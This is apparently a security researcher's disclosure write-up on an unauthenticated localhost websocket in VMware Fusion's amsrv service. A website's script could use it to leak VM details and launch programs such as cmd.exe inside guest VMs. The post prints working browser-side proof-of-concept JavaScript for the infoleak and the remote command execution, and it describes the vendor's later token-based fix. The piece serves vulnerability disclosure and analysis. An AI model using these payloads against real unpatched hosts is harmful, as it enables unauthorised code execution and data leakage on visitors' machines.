TL;DR

You can run an arbitrary command on a VMware Fusion guest VM through a website without any priory knowledge. Basically VMware Fusion is starting up a websocket listening only on the localhost. You can fully control all the VMs (also create/delete snapshots, whatever you want) through this websocket interface, including launching apps. You need to have VMware Tools installed on the guest for launching apps, but honestly who doesn’t have it installed. So with creating a javascript on a website, you can interact with the undocumented API, and yes it’s all unauthenticated.

Original discovery

I saw a tweet a couple of weeks ago from @CodeColorist: CodeColorist (@CodeColorist) on Twitter, talking about this issue - he was the one discovering it, but I didn’t have time to look into this for a while. When I searched it again, that tweet was removed. I found the same tweet on his Weibo account (~Chinese Twitter): CodeColorist Weibo. This is the screenshot he posted:

What you can see here is that you can execute arbitrary commands on a guest VM through a web socket interface, which is started by amsrv process. I would like to give him full credits for this, what I did later is just building on top of this information.

AMSRV

I used ProcInfoExample GitHub - objective-see/ProcInfoExample: example project, utilizing Proc Info library to monitor what kind of processes are starting up, when running VMware Fusion. When you start VMware both vmrest (VMware REST API) and amsrv will be started:

2019-03-05 17:17:22.434 procInfoExample [ 10831:7776374 ] process start: pid: 10936 path: /Applications/VMware Fusion.app/Contents/Library/vmrest user: 501 args: ( "/Applications/VMware Fusion.app/Contents/Library/amsrv" , "-D" , "-p" , 8698 ) 2019-03-05 17:17:22.390 procInfoExample [ 10831:7776374 ] process start: pid: 10935 path: /Applications/VMware Fusion.app/Contents/Library/amsrv user: 501 args: ( "/Applications/VMware Fusion.app/Contents/Library/amsrv" , "-D" , "-p" , 8698 )

They seem to be related, especially because you can reach some undocumented VMware REST API calls through this port. As you can control the Application Menu through the amsrv process, I think this is something like “Application Menu Service”. If we navigate to /Applications/VMware Fusion.app/Contents/Library/VMware Fusion Applications Menu.app/Contents/Resources we can find a file called app.asar, and at the end of the file there is a node.js implementation related to this websocket that listens on port 8698. It’s pretty nice that you have the source code available in this file, so we don’t need to do hardcore reverse engineering.

If we look at the code it reveals that indeed the VMware Fusion Application Menu will start this amsrv process on port 8698, or if that is busy it will try the next available open and so on.

const startVMRest = async () => { log.info( 'Main#startVMRest' ); if (vmrest != null ) { log.warn( 'Main#vmrest is currently running.' ); return ; } const execSync = require( 'child_process' ).execSync; let port = 8698 ; // The default port of vmrest is 8697 let portFound = false ; while ( ! portFound) { let stdout = execSync( 'lsof -i :' + port + ' | wc -l' ); if ( parseInt (stdout) == 0 ) { portFound = true ; } else { port ++ ; } } // Let's store the chosen port to global global[ 'port' ] = port; const spawn = require( 'child_process' ).spawn; vmrest = spawn(path.join(__dirname, '../../../../../' , 'amsrv' ), [ '-D' , '-p' , port ]);

We can find the related logs in the VMware Fusion Application Menu logs:

2019-02-19 09:03:05:745 Renderer#WebSocketService::connect: ( url: ws://localhost:8698/ws ) 2019-02-19 09:03:05:745 Renderer#WebSocketService::connect: Successfully connected ( url: ws://localhost:8698/ws ) 2019-02-19 09:03:05:809 Renderer#ApiService::requestVMList: ( url: http://localhost:8698/api/internal/vms )

This confirms the web socket and also a rest API interface.

REST API - Leaking VM info

If we navigate to the URL above ( http://localhost:8698/api/internal/vms ), we will get a nicely formatted JSON with the details of our VMs:

[ { "id" : "XXXXXXXXXXXXXXXXXXXXXXXXXX" , "processors" : -1 , "memory" : -1 , "path" : "/Users/csaby/VM/Windows 10 x64wHVCI.vmwarevm/Windows 10 x64.vmx" , "cachePath" : "/Users/csaby/VM/Windows 10 x64wHVCI.vmwarevm/startMenu.plist" , "powerState" : "unknown" } ]

This is already an information leak where an attacker can get information about our user ID, folders, and VM names, and their basic information. The code below can be used to display information. If we put this JS into any website, and a host running Fusion visits it, we can query the REST API.

var url = 'http://localhost:8698/api/internal/vms' ; //A local page var xhr = new XMLHttpRequest(); xhr.open( 'GET' , url, true ); // If specified, responseType must be empty string or "text" xhr.responseType = 'text' ; xhr.onload = function () { if (xhr.readyState === xhr.DONE) { if (xhr.status === 200 ) { console.log(xhr.response); //console.log(xhr.responseText); document .write(xhr.response) } } }; xhr.send( null );

If we look more closely on the code, we find these additional URLs that will leak further info: '/api/vms/' + vm.id + '/ip' - This will give you the internal IP of the VM, but it will not work on an encrypted VM or if it’s powered off. '/api/internal/vms/' + vm.id - This is the same info you get via the first URL discussed, just limiting info to one VM.

Websocket - RCE with vmUUID

This is the original POC published by @CodeColorist.

< script > ws = new WebSocket( "ws://127.0.0.1:8698/ws" ); ws.onopen = function () { const payload = { "name" : "menu.onAction" , "object" : "11 22 33 44 55 66 77 88-99 aa bb cc dd ee ff 00" , "userInfo" : { "action" : "launchGuestApp:" , "vmUUID" : "11 22 33 44 55 66 77 88-99 aa bb cc dd ee ff 00" , "representedObject" : "cmd.exe" } }; ws.send(JSON.stringify(payload)); }; ws.onmessage = function (data) { console.log(JSON.parse(data.data)); ws.close(); }; < /script>

In this POC you need the UUID of the VM to to start an application. The vmUUID is the bios.uuid that you can find in the vmx file. The ‘problem’ with this is that you can’t leak the vmUUID and brute forcing it would be practically impossible. You need to have VMware Tools installed on the guest for this to work, but who doesn’t have it? If the VM is suspended or shutted down, VMware will nicely start it for us. Also the command will be queued until the user logs in, so even if the screen is locked we will be able to run this command once the user logged in. After some experimentation I noticed that if I remove the object and vmUUID elements, the code execution still happens with the last used VM, so there is some state information saved.

Websocket - infoleak

After starting reversion and following the traces what web sockets will call, and what are the other options in the code, it started to be clear that you have full access to the application menu, and you can fully control everything. Checking the VMware Fusion binary it becomes clear that you have other menus with other options.

aMenuupdate: 00000001003bedd2 db "menu.update", 0 ; DATA XREF=cfstring_menu_update aMenushow: 00000001003bedde db "menu.show", 0 ; DATA XREF=cfstring_menu_show aMenuupdatehotk: 00000001003bede8 db "menu.updateHotKey", 0 ; DATA XREF=cfstring_menu_updateHotKey aMenuonaction: 00000001003bedfa db "menu.onAction", 0 ; DATA XREF=cfstring_menu_onAction aMenurefresh: 00000001003bee08 db "menu.refresh", 0 ; DATA XREF=cfstring_menu_refresh aMenusettings: 00000001003bee15 db "menu.settings", 0 ; DATA XREF=cfstring_menu_settings aMenuselectinde: 00000001003bee23 db "menu.selectIndex", 0 ; DATA XREF=cfstring_menu_selectIndex aMenudidclose: 00000001003bee34 db "menu.didClose", 0 ; DATA XREF=cfstring_menu_didClose

These can be all called through the WebSocket. I didn’t went ahead to discover every single option on every single menu, but you can pretty much do whatever you want (make snapshots, start VMs, delete VMs, etc…) if you know the vmUUID. This was a problem as I didn’t figure out how to get that, and without it, it’s not that useful.

The next interesting option was menu.refresh . If we use the following payload:

const payload = { "name" : "menu.refresh" , };

We will get back some details about the VMs and pinned apps, etc..

{ "key" : "menu.update" , "value" : { "vmList" : [ { "name" : "Kali 2018 Master (2018Q4)" , "cachePath" : "/Users/csaby/VM/Kali 2018 Master (2018Q4).vmwarevm/startMenu.plist" }, { "name" : "macOS 10.14" , "cachePath" : "/Users/csaby/VM/macOS 10.14.vmwarevm/startMenu.plist" }, { "name" : "Windows 10 x64" , "cachePath" : "/Users/csaby/VM/Windows 10 x64.vmwarevm/startMenu.plist" } ], "menu" : { "pinnedApps" : [], "frequentlyUsedApps" : [ { "rawIcons" : [ { (...)

This is a bit less and more what we can see through the API discussed earlier. So more info leak.

Websocket - full RCE (without vmUUID)

The next interesting item was the menu.selectIndex , it suggested that you can select VMs, it even had a relatated code in the app.asar file, which told me how to call it:

// Called when VM selection changed selectIndex(index : number) { log.info( 'Renderer#ActionService::selectIndex: (index:' , index, ')' ); if ( this .checkIsFusionUIRunning()) { this .send({ name : 'menu.selectIndex' , userInfo : { selectedIndex : index } }); }

If we called this item, as suggested above, and then tried to launch an app in the guest, we could instruct which guest to run the app in. Basically we can select a VM with this call.

const payload = { "name" : "menu.selectIndex" , "userInfo" : { "selectedIndex" : "3" } };

The next thing I tried if I can use the selectedIndex directly in the menu.onAction call, and it turned out that yes I can. It also became clear that the vmList I get with menu.refresh has the right order and indexes for each VM.

In order to gain a full RCE:

Leak the list of VMs with menu.refresh Launch an application on the guest by using the index

The full POC:

< script > ws = new WebSocket( "ws://127.0.0.1:8698/ws" ); ws.onopen = function () { //payload to show vm names and cache path const payload = { "name" : "menu.refresh" , }; ws.send(JSON.stringify(payload)); }; ws.onmessage = function (data) { //document.write(data.data); console.log(JSON.parse(data.data)); var j_son = JSON.parse(data.data); var vmlist = j_son.value.vmList; var i; for (i = 0 ; i < vmlist.length; i ++ ) { //payload to launch an app, you can use either the vmUUID or the selectedIndex const payload = { "name" : "menu.onAction" , "userInfo" : { "action" : "launchGuestApp:" , "selectedIndex" : i, "representedObject" : "cmd.exe" } }; if (vmlist[i].name.includes( "Win" ) || vmlist[i].name.includes( "win" )) {ws.send(JSON.stringify(payload));} } ws.close(); }; < /script>

Reporting to VMware

At this point I got in touch with @Codecolorist if he reported this to VMware, and he said that yes, they got in touch with him. I decided to send them another report, as I found this pretty serious and I wanted to urge them, especially because compared to the original POC I found a way to execute this attack without that.

The Fix

VMware released a fix, and advisory a couple of days ago: VMSA-2019-0005. I took a look at what they did, and essentially they implemented a token authentication, where the token is newly generated every single time starting up VMware.

This is the related code for generating a token (taken from app.asar):

String .prototype.pick = function (min, max) { var n, chars = '' ; if ( typeof max === 'undefined' ) { n = min; } else { n = min + Math .floor( Math .random() * (max - min + 1 )); } for ( var i = 0 ; i < n; i ++ ) { chars += this .charAt( Math .floor( Math .random() * this .length)); } return chars; String .prototype.shuffle = function () { var array = this .split( '' ); var tmp, current, top = array.length; if (top) while ( -- top) { current = Math .floor( Math .random() * (top + 1 )); tmp = array[current]; array[current] = array[top]; array[top] = tmp; } return array.join( '' ); export class Token { public static generate() : string { const specials = '!@#$%^&*()_+{}:"<>?|[];\',./`~' ; const lowercase = 'abcdefghijklmnopqrstuvwxyz' ; const uppercase = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' ; const numbers = '0123456789' ; const all = specials + lowercase + uppercase + numbers; let token = '' ; token += specials.pick( 1 ); token += lowercase.pick( 1 ); token += uppercase.pick( 1 ); token += numbers.pick( 1 ); token += all.pick( 5 , 7 ); token = token.shuffle(); return Buffer.from(token).toString( 'base64' ); }

The token will be a variable length password, containing at least 1 character from app, lower case, numbers and symbols. It will be base64 encoded then, we can see it in Wireshark, when VMware uses this:

And we can also see it being used in the code:

function sendVmrestReady() { log.info( 'Main#sendVmrestReady' ); if (mainWindow) { mainWindow.webContents.send( 'vmrestReady' , [ 'ws://localhost:' + global[ 'port' ] + '/ws?token=' + token, 'http://localhost:' + global[ 'port' ], '?token=' + token ]); }

In case you have code execution on a mac you can probably figure this token out, but in that case it doesn’t really matter anyway. The password will essentially limit the ability to exploit the vulnerability remotely.

With some experiments, I also found that you need to set the Origin in the Header to file:// , otherwise it will be forbidden, but that you can’t set via normal JS calls, as it will be set by the browser. Like this:

Origin: file://

So even if you know the token, you can’t trigger this via normal webpages.